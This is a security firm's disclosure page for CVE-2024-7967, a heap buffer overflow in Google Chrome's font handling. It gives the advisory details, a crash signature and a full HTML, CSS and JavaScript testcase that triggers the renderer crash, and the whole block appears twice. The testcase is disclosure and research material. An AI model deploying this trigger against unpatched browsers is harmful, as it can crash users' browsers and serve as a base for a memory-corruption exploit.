CVE-2024-7967

October 13, 2024

CVE Details

Google Chrome

August 21, 2024 – Heap buffer overflow in Fonts in Google Chrome prior to 128.0.6613.84 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Chromium security severity: High

Credit: Tashita Software Security
Researcher: Javier

CVE Mitre
Chrome Release Notes
Chromium Issue 355731798

Vulnerability Details

Bug

Heap-Buffer-Overflow on Blink Renderer leads to Segmentation Fault: Received signal 11 SEGV_ACCERR 36a0002be000

Backtrace

Testcase

<html>
    <head>
        <style>
           ::first-letter {
               counter-increment : none;
            }
            audio {
                min-width : 111%;
            }
            * {
                float : left;
            }
            ::first-line {
                grid-row-gap : 68%;
            }
            #id_3 {
                font-size-adjust : 45;
            }
            #id_4 {
                container-type : inline-size;
            }
            ::before {
                content : open-quote;
            }
            :last-of-type {
                margin-inline : -97.2296906% 343.788818%;
            }
            mark {
                all : revert;
            }
        </style>
        <script>
            function trigger() {
                let var_1 = document.getElementById("id_1");
                let var_2 = document.getElementById("id_2");
                var_1.replaceWith(var_2);
            }
        </script>
    </head>
    <body onload="trigger()">
        <any_tag>
            <any_tag></any_tag>
        </any_tag>
        <small></small>
        <canvas id="id_4"></canvas>
        <any_tag id="id_2"></any_tag>
        <details></details>
        <any_tag>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK6apS,q-f! Fqv4rK.Z.NJP p&K+rCV:~trm65&H</any_tag>
        <any_tag></any_tag>
        <any_tag>
            <any_tag id="id_1"></any_tag>
        </any_tag>
        <mark>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</mark>
        <mark>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?A</mark>
        <any_tag>
            <any_tag id="id_3">AAAAAAAAAA
            </any_tag>
        </any_tag>
    </body>
</html>

Advisories

CVE-2024-7967

October 13, 2024

CVE Details

Google Chrome

August 21, 2024 – Heap buffer overflow in Fonts in Google Chrome prior to 128.0.6613.84 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Chromium security severity: High

Credit: Tashita Software Security
Researcher: Javier

CVE Mitre
Chrome Release Notes
Chromium Issue 355731798

Vulnerability Details

Bug

Heap-Buffer-Overflow on Blink Renderer leads to Segmentation Fault: Received signal 11 SEGV_ACCERR 36a0002be000

Backtrace

Testcase

<html>
    <head>
        <style>
           ::first-letter {
               counter-increment : none;
            }
            audio {
                min-width : 111%;
            }
            * {
                float : left;
            }
            ::first-line {
                grid-row-gap : 68%;
            }
            #id_3 {
                font-size-adjust : 45;
            }
            #id_4 {
                container-type : inline-size;
            }
            ::before {
                content : open-quote;
            }
            :last-of-type {
                margin-inline : -97.2296906% 343.788818%;
            }
            mark {
                all : revert;
            }
        </style>
        <script>
            function trigger() {
                let var_1 = document.getElementById("id_1");
                let var_2 = document.getElementById("id_2");
                var_1.replaceWith(var_2);
            }
        </script>
    </head>
    <body onload="trigger()">
        <any_tag>
            <any_tag></any_tag>
        </any_tag>
        <small></small>
        <canvas id="id_4"></canvas>
        <any_tag id="id_2"></any_tag>
        <details></details>
        <any_tag>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK6apS,q-f! Fqv4rK.Z.NJP p&K+rCV:~trm65&H</any_tag>
        <any_tag></any_tag>
        <any_tag>
            <any_tag id="id_1"></any_tag>
        </any_tag>
        <mark>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</mark>
        <mark>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?A</mark>
        <any_tag>
            <any_tag id="id_3">AAAAAAAAAA
            </any_tag>
        </any_tag>
    </body>
</html>

Our Services

Consultancy & Fuzzing Pro

Specialized in fuzzing and consulting to detect high-impact vulnerabilities.

View this service

Vulnerability Research

Explore our tailored research to uncover hidden vulnerabilities and threats.

View this service

Expert Software Hardening

Specialists in bypass protection, adding top-tier defenses to your software.

View this service

Custom Fuzzing Development

Developing custom fuzzers tailored to your specific software security needs.

View this service